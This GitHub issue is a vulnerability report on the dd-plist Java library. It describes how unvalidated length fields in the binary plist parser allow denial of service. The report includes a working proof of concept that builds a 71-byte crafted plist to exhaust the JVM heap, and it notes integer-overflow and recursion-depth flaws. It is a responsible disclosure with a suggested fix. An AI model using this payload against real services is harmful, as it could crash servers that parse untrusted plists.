Skip to content

BinaryPropertyListParser: Untrusted array/dict/data length causes OutOfMemoryError (DoS) #104

Description

@0xsakthi

Summary

BinaryPropertyListParser.readLengthAndOffset() reads element counts and data lengths from the binary plist stream without validating them against the actual data size. A crafted 71-byte binary plist can declare an array with 2+ billion elements, causing new NSObject[2147483632] which exhausts the JVM heap and crashes the application with OutOfMemoryError.

Affected Versions

All versions including the latest (1.29.0). The binary plist parser has never had length validation.

Root Cause

In BinaryPropertyListParser.java, readLengthAndOffset() reads the element count from the binary plist's extended length field and returns it directly. The callers — parseArray(), parseDictionary(),parseData(), parseString() — use this value to allocate arrays and byte buffers without checking whether the declared length is physically plausible given the remaining data.

parseArray:

int[] lengthAndOffset = this.readLengthAndOffset(objInfo, offset);
int length = lengthAndOffset[0]; // attacker-controlled, can be up to Integer.MAX_VALUE
NSArray array = new NSArray(length); // allocates new NSObject[length] immediately

NSArray constructor:

public NSArray(int length) {
this.array = new NSObject[length]; // massive allocation before any element validation
}

The same pattern applies to:

  • parseDictionary() — unbounded loop count over attacker-controlled length
  • parseData() — copyOfRange(bytes, start, start + length) with attacker-controlled length
  • parseString() — bounds-check bypass via integer overflow (strOffset + length > bytes.length overflows for large values)

Proof of Concept

Minimal binary plist (71 bytes) that crashes any application using dd-plist:

ByteArrayOutputStream bos = new ByteArrayOutputStream();
bos.write("bplist00".getBytes("ASCII")); // header
bos.write(0xAF); // NSArray + extended length
bos.write(0x12); // int type, 4-byte length
bos.write(new byte[]{0x7F, (byte)0xFF, (byte)0xFF, (byte)0xF0}); // 2,147,483,632 elements
bos.write(new byte[24]); // padding
bos.write(0x08); // offset table
byte[] trailer = new byte[32];
trailer[6] = 0x01; trailer[7] = 0x01; trailer[15] = 0x01; trailer[31] = 38;
bos.write(trailer);

// This crashes with OutOfMemoryError:
PropertyListParser.parse(bos.toByteArray());

##Result:
java.lang.OutOfMemoryError: Java heap space
at com.dd.plist.NSArray.(NSArray.java:45)
at com.dd.plist.BinaryPropertyListParser.parseObject(BinaryPropertyListParser.java:283)
at com.dd.plist.BinaryPropertyListParser.doParse(BinaryPropertyListParser.java:141)
at com.dd.plist.BinaryPropertyListParser.parse(BinaryPropertyListParser.java:87)
at com.dd.plist.PropertyListParser.parse(PropertyListParser.java:240)

Additional findings

  1. Integer overflow in bounds checks — strOffset + length > bytes.length and dataOffset + length > bytes.length overflow silently for large values, bypassing the bounds check entirely.
  2. BinaryPropertyListParser stack overflow — parseObject() recurses for nested arrays/dicts with no depth limit. The ParsedObjectStack detects self-references but not depth. ~300 levels of nesting cause
    StackOverflowError (also uncatchable).
  3. XMLPropertyListParser stack overflow — parseObject() recurses through dict/array elements with no depth limit. 5000 nested elements cause StackOverflowError.

Impact

Any application that parses untrusted binary plists via dd-plist is vulnerable to denial of service. OutOfMemoryError extends Error (not Exception), so standard exception handling cannot catch it. Depending on the application, this can crash the entire JVM process.

dd-plist is widely used by MDM servers, CI/CD tools, and any Java application that processes Apple property lists. A crafted .plist or .ipa file containing a malicious binary plist can crash the server.

Suggested Fix

Add a sanity check in readLengthAndOffset():

if (lengthValue > this.bytes.length) {
throw new PropertyListFormatException(
"Declared length " + lengthValue + " at offset " + offset +
" exceeds data size " + this.bytes.length);
}

Additionally:

  • Use Math.addExact() / Math.multiplyExact() for offset arithmetic to detect integer overflow
  • Add a depth limit to parseObject() recursion (e.g., max 512 levels)
  • Add a depth limit to XMLPropertyListParser.parseObject() as well

Environment

  • dd-plist version: 1.28.0 and 1.29.0 (tested both, both vulnerable)
  • Java: OpenJDK 11.0.30
  • OS: Windows 10 / Linux (WSL2)

Metadata

Metadata

Assignees

Labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions